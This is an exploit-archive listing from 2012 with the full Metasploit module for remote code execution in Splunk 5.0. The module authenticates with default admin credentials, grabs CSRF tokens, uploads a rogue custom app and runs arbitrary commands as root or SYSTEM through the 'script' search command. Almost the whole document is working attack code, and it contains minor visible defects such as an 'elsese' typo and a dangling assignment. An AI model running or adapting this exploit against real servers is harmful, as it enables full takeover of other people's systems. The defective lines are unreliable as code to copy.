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Splunk 5.0 Custom App Remote Code Execution

Splunk 5.0 Custom App Remote Code Execution
Posted Dec 8, 2012
Authored by sinn3r, juan vazquez, [at]marcwickenden | Site metasploit.com

This Metasploit module exploits a feature of Splunk whereby a custom application can be uploaded through the web based interface. Through the 'script' search command a user can call commands defined in their custom application which includes arbitrary perl or python code. To abuse this behavior, a valid Splunk user with the admin role is required. By default, this module uses the credential of "admin:changeme", the default Administrator credential for Splunk. Note that the Splunk web interface runs as SYSTEM on Windows, or as root on Linux by default. This Metasploit module has only been tested successfully against Splunk 5.0.

tags | exploit, web, arbitrary, root, perl, python
systems | linux, windows
MD5 | 66d1782d500464f50d0470fe9f4bb37a

Splunk 5.0 Custom App Remote Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Splunk 5.0 Custom App Remote Code Execution',
'Description' => %q{
This module exploits a feature of Splunk whereby a custom application can be
uploaded through the web based interface. Through the 'script' search command a
user can call commands defined in their custom application which includes arbitrary
perl or python code. To abuse this behavior, a valid Splunk user with the admin
role is required. By default, this module uses the credential of "admin:changeme",
the default Administrator credential for Splunk. Note that the Splunk web interface
runs as SYSTEM on Windows, or as root on Linux by default. This module has only
been tested successfully against Splunk 5.0.
},
'Author' =>
[
"@marcwickenden", # discovery and metasploit module
"sinn3r", # metasploit module
"juan vazquez", # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html' ],
[ 'URL', 'http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html' ],
[ 'URL', 'http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script' ]
],
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true
},
'Targets' =>
[
[ 'Splunk 5.0.1 / Linux',
{
'Arch' => ARCH_CMD,
'Platform' => [ 'linux', 'unix' ]
}
],
[ 'Splunk 5.0.1 / Windows',
{
'Arch' => ARCH_CMD,
'Platform' => 'win'
}
]
],
'DisclosureDate' => 'Sep 27 2012'))

register_options(
[
Opt::RPORT(8000),
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]),
OptPath.new('SPLUNK_APP_FILE',
[
true,
'The "rogue" Splunk application tgz',
File.join(Msf::Config.install_root, 'data', 'exploits', 'splunk', 'upload_app_exec.tgz')
])
], self.class)

register_advanced_options(
[
OptBool.new('ReturnOutput', [ true, 'Display command output', false ]),
OptBool.new('DisableUpload', [ true, 'Disable the app upload if you have already performed it once', false ]),
OptBool.new('EnableOverwrite', [true, 'Overwrites an app of the same name. Needed if you change the app code in the tgz', false]),
OptInt.new('CommandOutputDelay', [true, 'Seconds to wait before requesting command output from Splunk', 5])
], self.class)
end

def exploit
# process standard options
@username = datastore['USERNAME']
@password = datastore['PASSWORD']
file_name = datastore['SPLUNK_APP_FILE']

# process advanced options
return_output = datastore['ReturnOutput']
disable_upload = datastore['DisableUpload']
@enable_overwrite = datastore['EnableOverwrite']
command_output_delay = datastore['CommandOutputDelay']

# set up some variables for later use
@auth_cookies = ''
@csrf_form_key = ''
app_name = 'upload_app_exec'
p = payload.encoded
print_status("Using command: #{p}")
cmd = Rex::Text.encode_base64(p)

# log in to Splunk (if required)
do_login

# fetch the csrf token for use in the upload next
do_get_csrf('/en-US/manager/launcher/apps/local')

unless disable_upload
# upload the arbitrary command execution Splunk app tgz
do_upload_app(app_name, file_name)
end

# get the next csrf token from our new app
do_get_csrf("/en-US/app/#{app_name}/flashtimeline")

# call our command execution function with the Splunk 'script' command
print_status("Invoking script command")
res = send_request_cgi(
{
'uri' => '/en-US/api/search/jobs',
'method' => 'POST',
'cookie' => @auth_cookies,
'headers' =>
{
'X-Requested-With' => 'XMLHttpRequest',
'X-Splunk-Form-Key' => @csrf_form_key
},
'vars_post' =>
{
'search' => "search * | script msf_exec #{cmd}", # msf_exec defined in default/commands.conf
'status_buckets' => "300",
'namespace' => "#{app_name}",
'ui_dispatch_app' => "#{app_name}",
'ui_dispatch_view' => "flashtimeline",
'auto_cancel' => "100",
'wait' => "0",
'required_field_list' => "*",
'adhoc_search_level' => "smart",
'earliest_time' => "0",
'latest_time' => "",
'timeFormat' => "%s.%Q"
}
})

if return_output
res.body.match(/data":\ "([0-9.]+)"/)
job_id = $1

# wait a short time to let the output be produced
print_status("Waiting for #{command_output_delay} seconds to retrieve command output")
select(nil,nil,nil,command_output_delay)
job_output = fetch_job_output(job_id)
if job_output.body.match(/Waiting for data.../)
print_status("No output returned in time")
elsese
output = ""
job_output.body.each_line do |line|
# strip off the leading and trailing " added by Splunk
line.gsub!(/^"/,"")
line.gsub!(/"$/,"")
output << line
end

# return the output
print_status("Command returned:")
print_line output
end
else
handler
end
end

def check
# all versions are actually "vulnerable" but check implemented for future proofing
# and good practice
res = send_request_cgi(
{
'uri' => '/en-US/account/login',
'method' => 'GET'
}, 25)

if res and res.body =~ /Splunk Inc\. Splunk/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end

def do_login
print_status("Authenticating...")
# this method borrowed with thanks from splunk_mappy_exec.rb
res = send_request_cgi(
{
'uri' => '/en-US/account/login',
'method' => 'GET'
})

cval = ''
uid = ''
session_id_port =
session_id = ''
if res and res.code == 200
res.headers['Set-Cookie'].split(';').each {|c|
c.split(',').each {|v|
if v.split('=')[0] =~ /cval/
cval = v.split('=')[1]
elsif v.split('=')[0] =~ /uid/
uid = v.split('=')[1]
elsif v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]
session_id = v.split('=')[1]
end
}
}
else
fail_with(Exploit::Failure::NotFound, "Unable to get session cookies")
end

res = send_request_cgi(
{
'uri' => '/en-US/account/login',
'method' => 'POST',
'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
'vars_post' =>
{
'cval' => cval,
'username' => @username,
'password' => @password
}
})

if not res or res.code != 303
fail_with(Exploit::Failure::NoAccess, "Unable to authenticate")
else
session_id_port = ''
session_id = ''
res.headers['Set-Cookie'].split(';').each {|c|
c.split(',').each {|v|
if v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]
session_id = v.split('=')[1]
end
}
}
@auth_cookies = "#{session_id_port}=#{session_id}"
end
end

def do_upload_app(app_name, file_name)
archive_file_name = ::File.basename(file_name)
print_status("Uploading file #{archive_file_name}")
file_data = ::File.open(file_name, "rb") { |f| f.read }

boundary = '--------------' + rand_text_alphanumeric(6)

data = "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"splunk_form_key\"\r\n\r\n"
data << "#{@csrf_form_key}"
data << "\r\n--#{boundary}\r\n"

if @enable_overwrite
data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n"
data << "1"
data << "\r\n--#{boundary}\r\n"
end

data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{archive_file_name}\"\r\n"
data << "Content-Type: application/x-compressed\r\n\r\n"
data << file_data
data << "\r\n--#{boundary}--\r\n"

res = send_request_cgi({
'uri' => '/en-US/manager/appinstall/_upload',
'method' => 'POST',
'cookie' => @auth_cookies,
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data
}, 30)

if (res and (res.code == 303 or (res.code == 200 and res.body !~ /There was an error processing the upload/)))
print_status("#{app_name} successfully uploaded")
else
fail_with(Exploit::Failure::Unknown, "Error uploading")
end
end

def do_get_csrf(uri)
print_status("Fetching csrf token from #{uri}")
res = send_request_cgi(
{
'uri' => uri,
'method' => 'GET',
'cookie' => @auth_cookies
})
res.body.match(/FORM_KEY":\ "(\d+)"/)
@csrf_form_key = $1
fail_with(Exploit::Failure::Unknown, "csrf form Key not found") if not @csrf_form_key
end

def fetch_job_output(job_id)
# fetch the output of our job id as csv for easy parsing
print_status("Fetching job_output for id #{job_id}")
res = send_request_raw(
{
'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000",
'method' => 'GET',
'cookie' => @auth_cookies,
'encode_param' => 'false'
})
end

end

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